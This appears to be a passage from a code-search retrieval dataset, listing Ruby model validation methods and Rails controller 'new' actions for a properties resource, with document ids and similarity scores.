"text": "def validate\n validate_params\n validate_coordinates\n validate_colour\n validate_dimension\n end", "title": "" }, { "docid": "2d147354a6167bdd880c08577039d869", "score": "0.6542414", "text": "def validate\n validate_params\n validate_coordinates\n validate_colour\n validate_dimension\n end", "title": "" }, { "docid": "2d147354a6167bdd880c08577039d869", "score": "0.6542414", "text": "def validate\n validate_params\n validate_coordinates\n validate_colour\n validate_dimension\n end", "title": "" }, { "docid": "732c46415797f5c4761935c12fa80dfa", "score": "0.65388674", "text": "def valid?\n @errors = []\n # checks each field type and adds error messages if it does not meet requirements from the table\n validate_field_types\n @errors.empty?\n end", "title": "" }, { "docid": "65944316f1a241464cda09ac5a7672b1", "score": "0.6537656", "text": "def valid?\n \n if @account_id.nil?\n false\n elsif @entity_type.nil?\n false\n elsif @csp_id.nil?\n false\n elsif @brand_id.nil?\n false\n elsif @first_name.nil?\n false\n elsif @last_name.nil?\n false\n elsif @display_name.nil?\n false\n elsif @company_name.nil?\n false\n elsif @ein.nil?\n false\n elsif @ein_issuing_country.nil?\n false\n elsif @phone.nil?\n false\n elsif @street.nil?\n false\n elsif @city.nil?\n false\n elsif @state.nil?\n false\n elsif @postal_code.nil?\n false\n elsif @country.nil?\n false\n elsif @email.nil?\n false\n elsif @stock_symbol.nil?\n false\n elsif @stock_exchange.nil?\n false\n elsif @ip_address.nil?\n false\n elsif @website.nil?\n false\n elsif @brand_relationship.nil?\n false\n elsif @vertical.nil?\n false\n elsif @alt_business_id.nil?\n false\n elsif @alt_business_id_type.nil?\n false\n elsif @universal_ein.nil?\n false\n elsif @reference_id.nil?\n false\n elsif @optional_attributes.nil?\n false\n elsif @mock.nil?\n false\n elsif @identity_status.nil?\n false\n elsif @create_date.nil?\n false\n else\n list_invalid_properties.length() == 0\n end\n end", "title": "" }, { "docid": "89b518f9626cc8f7f9d3b5fcab538bfe", "score": "0.65336156", "text": "def missing_ads_non_individual_validation(model)\n # Property type 1 = residential\n return if model.properties.blank? || !model.non_individual_buyer? || model.property_type != '1'\n\n return if model.properties.values.all? { |p| p.ads_due_ind == 'Y' }\n\n model.errors.add(:base, :non_individual_no_ads, link_id: 'add_a_property')\n end", "title": "" }, { "docid": "0ac21620c75ee8daa5f285e0461e75ba", "score": "0.65320194", "text": "def valid?\n return false if @name.nil?\n return false if !@vat.nil? && @vat > 1\n return false if !@vat.nil? && @vat < 0\n return false if @amount.nil?\n return false if @amount < 0\n return false if !@quantity.nil? && @quantity < 1\n return false if @handle.nil?\n return false if @version.nil?\n return false if @version < 1\n return false if @state.nil?\n state_validator = EnumAttributeValidator.new('String', [\"active\", \"superseded\", \"deleted\"])\n return false unless state_validator.valid?(@state)\n return false if @currency.nil?\n return false if @created.nil?\n return false if !@renewal_reminder_email_days.nil? && @renewal_reminder_email_days < 1\n return false if !@trial_reminder_email_days.nil? && @trial_reminder_email_days < 1\n partial_period_handling_validator = EnumAttributeValidator.new('String', [\"bill_full\", \"bill_prorated\", \"bill_zero_amount\", \"no_bill\"])\n return false unless partial_period_handling_validator.valid?(@partial_period_handling)\n return false if !@setup_fee.nil? && @setup_fee < 0\n return false if !@fixed_count.nil? && @fixed_count < 1\n fixed_life_time_unit_validator = EnumAttributeValidator.new('String', [\"months\", \"days\"])\n return false unless fixed_life_time_unit_validator.valid?(@fixed_life_time_unit)\n return false if !@fixed_life_time_length.nil? && @fixed_life_time_length < 1\n trial_interval_unit_validator = EnumAttributeValidator.new('String', [\"months\", \"days\"])\n return false unless trial_interval_unit_validator.valid?(@trial_interval_unit)\n return false if !@trial_interval_length.nil? && @trial_interval_length < 1\n return false if @interval_length.nil?\n return false if @interval_length < 1\n return false if @schedule_type.nil?\n schedule_type_validator = EnumAttributeValidator.new('String', [\"manual\", \"daily\", \"weekly_fixedday\", \"month_startdate\", \"month_fixedday\", \"month_lastday\"])\n return false unless schedule_type_validator.valid?(@schedule_type)\n return false if !@schedule_fixed_day.nil? && @schedule_fixed_day > 28\n return false if !@schedule_fixed_day.nil? && @schedule_fixed_day < 1\n return false if !@base_month.nil? && @base_month > 12\n return false if !@base_month.nil? && @base_month < 1\n return false if !@notice_periods.nil? && @notice_periods < 0\n return false if !@fixation_periods.nil? && @fixation_periods < 0\n return true\n end", "title": "" }, { "docid": "d8581f5a4374904381049c950aab7504", "score": "0.65292007", "text": "def validate\n return false if @id.nil? or @id < 0\n return false if @name.nil? or @name.strip.length <= 0\n return false if @description.nil? or @description.strip.length <= 0\n return false if @capacity.nil? or @capacity < -1\n return true\n end", "title": "" }, { "docid": "80429a6a68067d7cdbc0d024d6872b8a", "score": "0.65258855", "text": "def valid?\n true\n end", "title": "" }, { "docid": "80429a6a68067d7cdbc0d024d6872b8a", "score": "0.65258855", "text": "def valid?\n true\n end", "title": "" }, { "docid": "2617378f0da138cf35786ca6e3555d44", "score": "0.65220994", "text": "def is_valid?\n validate\n end", "title": "" }, { "docid": "2617378f0da138cf35786ca6e3555d44", "score": "0.65220994", "text": "def is_valid?\n validate\n end", "title": "" }, { "docid": "2617378f0da138cf35786ca6e3555d44", "score": "0.65220994", "text": "def is_valid?\n validate\n end", "title": "" }, { "docid": "2617378f0da138cf35786ca6e3555d44", "score": "0.65220994", "text": "def is_valid?\n validate\n end", "title": "" }, { "docid": "d01a7880794213f9f423396c37694be1", "score": "0.65119463", "text": "def validatable?()\n true\n end", "title": "" }, { "docid": "8f6e78b8edf18c1dd68543673f9fc02f", "score": "0.6511476", "text": "def sanity_check!\n sanity_check_required_attributes\n sanity_check_has_files\n true # nothing raised, so: success\n end", "title": "" }, { "docid": "ced8cbd680839cac33f6cb8ce7659d48", "score": "0.6509184", "text": "def is_valid?\r\n validate\r\n @errors.length == 0\r\n end", "title": "" }, { "docid": "1ea31b02c7ecdcb5d3946fd96fa6a7e7", "score": "0.65029097", "text": "def valid?\n return false if @portal_id.nil?\n return false if @id.nil?\n return false if @created.nil?\n return false if @updated.nil?\n return false if @domain.nil?\n return false if @primary_landing_page.nil?\n return false if @primary_email.nil?\n return false if @primary_blog.nil?\n return false if @primary_blog_post.nil?\n return false if @primary_site_page.nil?\n return false if @primary_knowledge.nil?\n return false if @primary_legacy_page.nil?\n return false if @primary_click_tracking.nil?\n return false if @full_category_key.nil?\n return false if @secondary_to_domain.nil?\n return false if @is_resolving.nil?\n return false if @is_dns_correct.nil?\n return false if @manually_marked_as_resolving.nil?\n return false if @consecutive_non_resolving_count.nil?\n return false if @ssl_cname.nil?\n return false if @is_ssl_enabled.nil?\n return false if @is_ssl_only.nil?\n return false if @certificate_id.nil?\n return false if @ssl_request_id.nil?\n return false if @is_used_for_blog_post.nil?\n return false if @is_used_for_site_page.nil?\n return false if @is_used_for_landing_page.nil?\n return false if @is_used_for_email.nil?\n return false if @is_used_for_knowledge.nil?\n return false if @setup_task_id.nil?\n return false if @is_setup_complete.nil?\n return false if @set_up_language.nil?\n return false if @team_ids.nil?\n return false if @actual_cname.nil?\n return false if @correct_cname.nil?\n return false if @actual_ip.nil?\n return false if @apex_resolution_status.nil?\n apex_resolution_status_validator = EnumAttributeValidator.new('String', [\"INELIGIBLE\", \"SUGGEST_RESOLVING\", \"ALREADY_RESOLVING\", \"ERROR\"])\n return false unless apex_resolution_status_validator.valid?(@apex_resolution_status)\n return false if @apex_domain.nil?\n return false if @public_suffix.nil?\n return false if @apex_ip_addresses.nil?\n return false if @site_id.nil?\n return false if @brand_id.nil?\n return false if @deletable.nil?\n return false if @domain_cdn_config.nil?\n return false if @setup_info.nil?\n return false if @derived_brand_name.nil?\n return false if @created_by_id.nil?\n return false if @updated_by_id.nil?\n return false if @label.nil?\n return false if @is_any_primary.nil?\n return false if @is_legacy_domain.nil?\n return false if @is_internal_domain.nil?\n return false if @is_resolving_internal_property.nil?\n return false if @is_resolving_ignoring_manually_marked_as_resolving.nil?\n return false if @is_used_for_any_content_type.nil?\n return false if @is_legacy.nil?\n return false if @author_at.nil?\n return false if @cos_object_type.nil?\n cos_object_type_validator = EnumAttributeValidator.new('String', [\"CONTENT\", \"EXTENSION_RESOURCE\", \"LAYOUT\", \"CUSTOM_WIDGET\", \"WIDGET\", \"FORM\", \"PLACEMENT\", \"IMAGE\", \"DOMAIN_SETTINGS\", \"SITE_SETTINGS\", \"EMAIL_ADDRESS\", \"WORKFLOW\", \"HUBDB_TABLE\", \"REDIRECT_URL\", \"DESIGN_FOLDER\", \"SITE_MAP\", \"DOMAIN\", \"BLOG\", \"FILE\", \"FOLDER\", \"SITE_MENU\", \"THEME\", \"CONTENT_GROUP\", \"FOLLOW_ME\", \"KNOWLEDGE_BASE\", \"LIST_MEMBERSHIP\", \"CONTACT_MEMBERSHIP\", \"PASSWORD_PROTECTED\", \"UNRESTRICTED_ACCESS\", \"MARKETPLACE_LISTING\", \"LAYOUT_SECTION\", \"THEME_SETTINGS\", \"VIDEO_PLAYER\", \"URL_MAPPING\", \"KNOWLEDGE_CATEGORY\", \"KNOWLEDGE_HOMEPAGE_CATEGORY\", \"RAW_ASSET\", \"GLOBAL_CONTENT\", \"HUBDB_TABLE_ROW\", \"BLOG_AUTHOR\", \"SERVERLESS_FUNCTION\", \"KNOWLEDGE_CATEGORY_TRANSLATION\"])\n return false unless cos_object_type_validator.valid?(@cos_object_type)\n return false if @cdn_purge_embargo_time.nil?\n return false if @is_staging_domain.nil?\n true\n end", "title": "" }, { "docid": "f2f872388d7654ae885873e2a09b3d89", "score": "0.6497904", "text": "def validate\n\t is_valid = true\n\t if is_valid\n is_valid = ModelHelper::Validations.validate_combos([{:load_id => self.load_id}],self,nil,true)\n end\n if is_valid\n is_valid = ModelHelper::Validations.validate_combos([{:shipping_agent_party_role_id => self.shipping_agent_party_role_id}],self,nil,true)\n end\n\n if is_valid\n is_valid = ModelHelper::Validations.validate_combos([{:exporter_party_role_id => self.exporter_party_role_id}],self,nil,true)\n end\n\n if is_valid\n is_valid = ModelHelper::Validations.validate_combos([{:shipper_party_role_id => self.shipper_party_role_id}],self,nil,true)\n end\n\n if is_valid\n is_valid = ModelHelper::Validations.validate_combos([{:shipping_line_party_id => self.shipping_line_party_id}],self,nil,true)\n end\n \n end", "title": "" }, { "docid": "5a1190b3892506eca5eeaa544c24cac9", "score": "0.64973426", "text": "def valid?\n return false if @id.nil?\n return false if @last_name.nil?\n return false if @first_name.nil?\n return false if @traveler_type.nil?\n return true\n end", "title": "" }, { "docid": "30d355327238b7dcbbd991912232ccaf", "score": "0.6491855", "text": "def validate\n return false if @id.nil? || (@id < 0)\n return false if @name.nil? || (@name.strip.length <= 0)\n return false if @description.nil? || (@description.strip.length <= 0)\n return false if @capacity.nil? || (@capacity < -1)\n\n true\n end", "title": "" }, { "docid": "deff084a3201c3a9d412c7debb41c9f0", "score": "0.6491269", "text": "def all_models_validate\n errors.add consumer.errors unless consumer.valid?\n consumer.details.each do |detail|\n errors.add detail.errors unless detail.valid?\n end\n end", "title": "" }, { "docid": "3ee253ad472edfd141b2a08d7f91b8fa", "score": "0.64885867", "text": "def is_valid\n return true\n end", "title": "" }, { "docid": "5597a09d94841dacbbe38bc849fbb71d", "score": "0.6485633", "text": "def valid?\n mandatory_fields = attribute_patterns.map{ |attr, v| attr if (v.include?(:mandatory) && v[:mandatory])}\n mandatory_fields.compact.inject(true) do |acc, field|\n acc = acc && !(self.send(field).blank?)\n end\n end", "title": "" }, { "docid": "efcf66fb46231acb2c0695e64d484fbd", "score": "0.6483845", "text": "def is_valid?\n return true\n end", "title": "" }, { "docid": "641ff2d4bc492ecf13a3eaaa255dd0de", "score": "0.64699656", "text": "def valid?\n state_validator = EnumAttributeValidator.new('String', ['ACT', 'NSW', 'QLD', 'VIC', 'SA', 'WA', 'NT', 'TAS'])\n return false unless state_validator.valid?(@state)\n property_type_validator = EnumAttributeValidator.new('String', ['Unknown', 'AcreageSemiRural', 'ApartmentUnitFlat', 'Aquaculture', 'BlockOfUnits', 'CarSpace', 'DairyFarming', 'DevelopmentSite', 'Duplex', 'Farm', 'FishingForestry', 'NewHomeDesigns', 'House', 'NewHouseLand', 'IrrigationServices', 'NewLand', 'Livestock', 'NewApartments', 'Penthouse', 'RetirementVillage', 'Rural', 'SemiDetached', 'SpecialistFarm', 'Studio', 'Terrace', 'Townhouse', 'VacantLand', 'Villa', 'Cropping', 'Viticulture', 'MixedFarming', 'Grazing', 'Horticulture', 'Equine', 'Farmlet', 'Orchard', 'RuralLifestyle'])\n return false unless property_type_validator.valid?(@property_type)\n true\n end", "title": "" }, { "docid": "73ec037eaec599f10c13a3f867e648b2", "score": "0.6468101", "text": "def valid?\n # Controllo di tutti i campi\n @control[:title]=\"valid\" if (@title.is_a?(String) && !@title.empty?)\n @control[:author]=\"valid\" if (@author.is_a?(String) && !@author.empty?)\n @control[:release_date]=\"valid\" if (@release_date.is_a?(Date))\n @control[:publisher]=\"valid\" if (@publisher.is_a?(String) && !@publisher.empty?)\n @control[:isbn]=\"valid\" if (@isbn.is_a?(Fixnum) && @isbn <= 10**10 && @isbn >= 10**9)\n \n # se anche un solo campo non é valido restituisco falso\n @control.each do |key, value|\n if value != \"valid\"\n return false\n end\n end\n return true\n end", "title": "" }, { "docid": "bdf3b0f58b916def3f21ed80e2de349a", "score": "0.6467196", "text": "def valid?\n return false if @class_id.nil?\n class_id_validator = EnumAttributeValidator.new('String', [\"compute.PhysicalSummary\"])\n return false unless class_id_validator.valid?(@class_id)\n return false if @object_type.nil?\n object_type_validator = EnumAttributeValidator.new('String', [\"compute.PhysicalSummary\"])\n return false unless object_type_validator.valid?(@object_type)\n management_mode_validator = EnumAttributeValidator.new('String', [\"IntersightStandalone\", \"UCSM\", \"Intersight\"])\n return false unless management_mode_validator.valid?(@management_mode)\n true && super\n end", "title": "" }, { "docid": "c729b625c03da3588f456f6875c1303c", "score": "0.64667434", "text": "def validate\n validate! rescue false\n end", "title": "" } ]
f46a2f7ffd4967d7add9a7493d367618
GET /properties/new GET /properties/new.xml
[ { "docid": "8acabe0f8b7fe62192e470b756a6d04c", "score": "0.0", "text": "def new\n @property = Property.new\n end", "title": "" } ]
[ { "docid": "b1f5a7bfd2f8b7e496c947a7c76ee304", "score": "0.7490042", "text": "def new\n @property = Property.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @property }\n end\n end", "title": "" }, { "docid": "b1f5a7bfd2f8b7e496c947a7c76ee304", "score": "0.7490042", "text": "def new\n @property = Property.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @property }\n end\n end", "title": "" }, { "docid": "b1f5a7bfd2f8b7e496c947a7c76ee304", "score": "0.7490042", "text": "def new\n @property = Property.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @property }\n end\n end", "title": "" }, { "docid": "a3befaad2a432cd74e6c42e198258c82", "score": "0.7467549", "text": "def new\n @properties_path = PropertiesPath.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @properties_path }\n end\n end", "title": "" }, { "docid": "8d5ac324c7ffd0067d4af2edf6ac4b6c", "score": "0.7150667", "text": "def new\n @property_status = PropertyStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @property_status }\n end\n end", "title": "" }, { "docid": "d4cf35b089df87a16c80945cc771d15c", "score": "0.7137432", "text": "def new\n @conf_property = ConfProperty.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @conf_property }\n end\n end", "title": "" }, { "docid": "5d25430e6ffbfe418e72b6f4ec45f8d4", "score": "0.71103674", "text": "def new\n @property = current_customer.properties.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @property }\n end\n end", "title": "" }, { "docid": "d01ff1877b2eb2122353326118e2008c", "score": "0.70528984", "text": "def new\n @property_detail = PropertyDetail.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @property_detail }\n end\n end", "title": "" }, { "docid": "66148976f61136485a8edd8fbc1bb720", "score": "0.70315903", "text": "def new\n @property = Property.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @property }\n end\n end", "title": "" }, { "docid": "8b1d22114d4221ea2ff191fcd809b94d", "score": "0.70311743", "text": "def new\n @property = Property.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @property }\n end\n end", "title": "" }, { "docid": "8b1d22114d4221ea2ff191fcd809b94d", "score": "0.70311743", "text": "def new\n @property = Property.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @property }\n end\n end", "title": "" }, { "docid": "8b1d22114d4221ea2ff191fcd809b94d", "score": "0.70311743", "text": "def new\n @property = Property.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @property }\n end\n end", "title": "" }, { "docid": "8b1d22114d4221ea2ff191fcd809b94d", "score": "0.70311743", "text": "def new\n @property = Property.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @property }\n end\n end", "title": "" }, { "docid": "8b1d22114d4221ea2ff191fcd809b94d", "score": "0.70311743", "text": "def new\n @property = Property.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @property }\n end\n end", "title": "" }, { "docid": "8b1d22114d4221ea2ff191fcd809b94d", "score": "0.70311195", "text": "def new\n @property = Property.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @property }\n end\n end", "title": "" }, { "docid": "58c8fbf92cd109ccec2f8ac6eb9fc1d0", "score": "0.6975968", "text": "def new\n @product = Product.find(params[:product_id])\n @property = Property.new(:product_id => @product.id)\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @property }\n end\n end", "title": "" }, { "docid": "7ed67829f3b3d23f423e18acfc21606e", "score": "0.6942604", "text": "def new\n @property = Property.new\n \n respond_to do |format|\n format.html # new.html.erb\n end\n end", "title": "" }, { "docid": "428b443c366d4101f501e41e197332e9", "score": "0.6937506", "text": "def new\n @item_prop = ItemProp.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @item_prop }\n end\n end", "title": "" }, { "docid": "cdb6ae49843a37fff639bc819fe0d270", "score": "0.6911245", "text": "def new\n @property = Property.new\n @property = \"\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @property}\n end\n end", "title": "" }, { "docid": "fb22fa80cc40a9e53c48e2b63d82c2c1", "score": "0.6909173", "text": "def new\n @add_property = AddProperty.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @add_property }\n end\n end", "title": "" }, { "docid": "9e22c278790caeaa6ef85eea58d216c0", "score": "0.6838281", "text": "def new\n @bp_property = BpProperty.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bp_property }\n end\n end", "title": "" }, { "docid": "0f79989f6a624fa99dc9a0af5fd7a9e2", "score": "0.6817451", "text": "def new\n @prop = @project.props.new\n @project = @props.project\n\n redirect_to\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @prop }\n end\n end", "title": "" }, { "docid": "3ec9e318b373bf97296703f1d9567d3a", "score": "0.6799249", "text": "def new\n @property_feature = PropertyFeature.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @property_feature }\n end\n end", "title": "" }, { "docid": "8201206ed23384f4312448bb26ab8c2f", "score": "0.67925525", "text": "def new\n @property_owner = PropertyOwner.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @property_owner }\n end\n end", "title": "" }, { "docid": "3484e1d6ccf399f199a5d926e79f5597", "score": "0.6779433", "text": "def new\n @pii_property_set = PiiPropertySet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pii_property_set }\n end\n end", "title": "" }, { "docid": "e8612d4fd53bae5db0e78a0d66c8d99a", "score": "0.6777256", "text": "def new\n @myprop = Myprop.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @myprop }\n end\n end", "title": "" }, { "docid": "527d99136c0e9dc71f1ec74905f89608", "score": "0.67647135", "text": "def new\n @web_property = WebProperty.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @web_property }\n end\n end", "title": "" }, { "docid": "bc667758fb19c31d86445422919d900f", "score": "0.67483616", "text": "def new\n \tunless ServerProperty.count > 0\n\t @server_property = ServerProperty.new\n\t\telse\n\t\t\tredirect_to server_properties_path, alert: \"There can only be one server properties file. Please update the existing record.\" and return\n\t\tend\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @server_property }\n end\n end", "title": "" }, { "docid": "d78921a85a5744d80975494dc34aec1e", "score": "0.66995376", "text": "def new\n @spec_property = SpecProperty.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @spec_property }\n end\n end", "title": "" }, { "docid": "bba148905fee4405c31cb10e8638423e", "score": "0.66729915", "text": "def new\n @personal_property = PersonalProperty.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @personal_property }\n end\n end", "title": "" }, { "docid": "1fb3cf460cca154ca8a93c59f3ead565", "score": "0.6655428", "text": "def new\n @property_account = PropertyAccount.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @property_account }\n end\n end", "title": "" }, { "docid": "48952017370d56336d72be741d438766", "score": "0.65849185", "text": "def new\n @leased_property = LeasedProperty.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @leased_property }\n end\n end", "title": "" }, { "docid": "7cb9d5c192b9b24b8f34a3f8fb44ba13", "score": "0.65301454", "text": "def new\n @metro_property = MetroProperty.new\n list\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @metro_property }\n end\n end", "title": "" }, { "docid": "9180c1ceb580fd625197acd328f4adc4", "score": "0.6526684", "text": "def new\n @sold_property = SoldProperty.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sold_property }\n end\n end", "title": "" }, { "docid": "963c509d9ac37c49cf42278484695c29", "score": "0.6504924", "text": "def create\n @property = Property.new(params[:property])\n\n respond_to do |format|\n if @property.save\n flash[:notice] = 'Property was successfully created.'\n format.html { redirect_to property_url(@property) }\n format.xml { head :created, :location => property_url(@property) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @property.errors.to_xml }\n end\n end\n end", "title": "" }, { "docid": "52247473cd66fe23249f7900d68509b6", "score": "0.65037566", "text": "def new\n @property_structure = PropertyStructure.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @property_structure }\n end\n end", "title": "" }, { "docid": "89dc2b3c61201d67ebc0f222fa69690d", "score": "0.6490304", "text": "def new\n @project_property = ProjectProperty.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project_property }\n end\n end", "title": "" }, { "docid": "467536e69d7815417f9a6fb9a40a619a", "score": "0.64831454", "text": "def new\n @yueyue_type_property = YueyueTypeProperty.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @yueyue_type_property }\n end\n end", "title": "" }, { "docid": "334cfb335889b3f4791d52f2f58d5b1e", "score": "0.6469423", "text": "def new\n @property_photo = PropertyPhoto.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @property_photo }\n end\n end", "title": "" }, { "docid": "807a3f88c059dc843a17faaa24f3312f", "score": "0.6453269", "text": "def create\n @property = Property.new(params[:property])\n\n respond_to do |format|\n if @property.save\n format.html { redirect_to(@property, :notice => 'Property was successfully created.') }\n format.xml { render :xml => @property, :status => :created, :location => @property }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @property.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "807a3f88c059dc843a17faaa24f3312f", "score": "0.6453269", "text": "def create\n @property = Property.new(params[:property])\n\n respond_to do |format|\n if @property.save\n format.html { redirect_to(@property, :notice => 'Property was successfully created.') }\n format.xml { render :xml => @property, :status => :created, :location => @property }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @property.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4b2eddc67fb902ccaefac20655db110c", "score": "0.6450997", "text": "def new\n \n\t\n @propose = Propose.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @propose }\n\n end\n\n end", "title": "" }, { "docid": "849c11b0c0836b220033b31b4d762515", "score": "0.64499336", "text": "def new\n @item_property = ItemProperty.new\n @item_property.item = Item.find(params[:item_id])\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @item_property }\n format.xml { render xml: @item_property }\n end\n end", "title": "" }, { "docid": "cb190e3963e2b974f9064364d117801e", "score": "0.6442985", "text": "def new\n @event_property = EventProperty.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @event_property }\n end\n end", "title": "" }, { "docid": "9b5de7b9317964a9a266d457d5f68b84", "score": "0.6437659", "text": "def new\n @relation_property = RelationProperty.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @relation_property }\n end\n end", "title": "" }, { "docid": "d52929e3a7166d615a7295ab40a3d01d", "score": "0.6431492", "text": "def new\n @measure_property = MeasureProperty.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @measure_property }\n end\n end", "title": "" }, { "docid": "6b5cc23d10700a583e4c5417398b1d8f", "score": "0.64178807", "text": "def new\n @property_definition = PropertyDefinition.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @property_definition }\n end\n end", "title": "" }, { "docid": "426e8936357637f9ccb608c1bafe40b0", "score": "0.6394092", "text": "def new\n @pref = Pref.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pref }\n end\n end", "title": "" }, { "docid": "404eece0cdb0ada23392a32034dacd1e", "score": "0.6375409", "text": "def new\n @seller_property = SellerProperty.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @seller_property }\n end\n end", "title": "" }, { "docid": "23bcce88842a1d612a0142a4aebd500f", "score": "0.6354862", "text": "def new\n @kpi_property = KpiProperty.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @kpi_property }\n end\n end", "title": "" }, { "docid": "dd23ea0b95ebd0a9edc8e8c2ab16b8c3", "score": "0.6344219", "text": "def new\n @settings_path = SettingsPath.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @settings_path }\n end\n end", "title": "" }, { "docid": "b0d18ede02570150fa2ff5e6ae32d72a", "score": "0.63413084", "text": "def new\n @property = Property.new\n @build_json = {:id => @property.id, :property => @property.name, :items => @property.items.collect{|item| [item.id, item.values.where(:property_id => @property.id)]}}\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @build_json }\n end\n end", "title": "" }, { "docid": "228f7cd7b6dedbb3bd11a2308a4a907c", "score": "0.63179743", "text": "def new\n @subject_property = SubjectProperty.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @subject_property }\n end\n end", "title": "" }, { "docid": "81504dfbc86173c99fade32eb72f0f69", "score": "0.63146544", "text": "def create\n @property = Property.new(params[:property])\n\n respond_to do |format|\n if @property.save\n flash[:notice] = 'Property was successfully created.'\n format.html { redirect_to(edit_product_path(@property.product)) }\n format.xml { render :xml => @property, :status => :created, :location => @property }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @property.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4e212b6ee89768c25518feb5d21434b2", "score": "0.62875223", "text": "def new\n @member_property = MemberProperty.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @member_property }\n end\n end", "title": "" }, { "docid": "41433d74e36719684775ad2d50c3eabe", "score": "0.6262033", "text": "def new\n @new = New.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @new }\n end\n end", "title": "" }, { "docid": "ca42a2d3343decd05fc7d3cb45bdebb3", "score": "0.62472206", "text": "def new\n @word_property = WordProperty.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @word_property }\n end\n end", "title": "" }, { "docid": "c098e642d8bff354d67c6794b7812c01", "score": "0.62340117", "text": "def new\n @utilitytypes = UtilityType.all.to_a\n @company_names = RecordLookup.uniq.pluck(:company_name)\n @property = Property.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @property }\n end\n end", "title": "" }, { "docid": "063c3c87a4cf0987a27e53cba1136711", "score": "0.62272215", "text": "def new\n @user_property = UserProperty.new\n @user_property.user = User.find(params[:user_id])\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user_property }\n format.xml { render xml: @user_property }\n end\n end", "title": "" }, { "docid": "e48e4303b220e1b998f50591bc37491a", "score": "0.62001944", "text": "def new\n @policy_change = PolicyChange.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @policy_change }\n end\n end", "title": "" }, { "docid": "de7b611abe02c75cca90de772324c43f", "score": "0.61844224", "text": "def new\n @lookup = Lookup.new\n\n @new_key = \" \"\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup }\n end\n end", "title": "" }, { "docid": "a21c4fc7aa751d2a96cafa9c14b992c4", "score": "0.61689085", "text": "def new\n @project = Project.new\n @project.properties.build\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end", "title": "" }, { "docid": "87288385b39f4935d92f790662464a71", "score": "0.61614066", "text": "def new\n @property_style = PropertyStyle.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @property_style }\n end\n end", "title": "" }, { "docid": "0f6678159a42242608ce5bdef8433671", "score": "0.61485857", "text": "def new\n @notification_preference = NotificationPreference.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @notification_preference }\n end\n end", "title": "" }, { "docid": "d56e8bea516746f6b1008b0fd7fabc45", "score": "0.61466086", "text": "def create\n @property_detail = PropertyDetail.new(params[:property_detail])\n\n respond_to do |format|\n if @property_detail.save\n 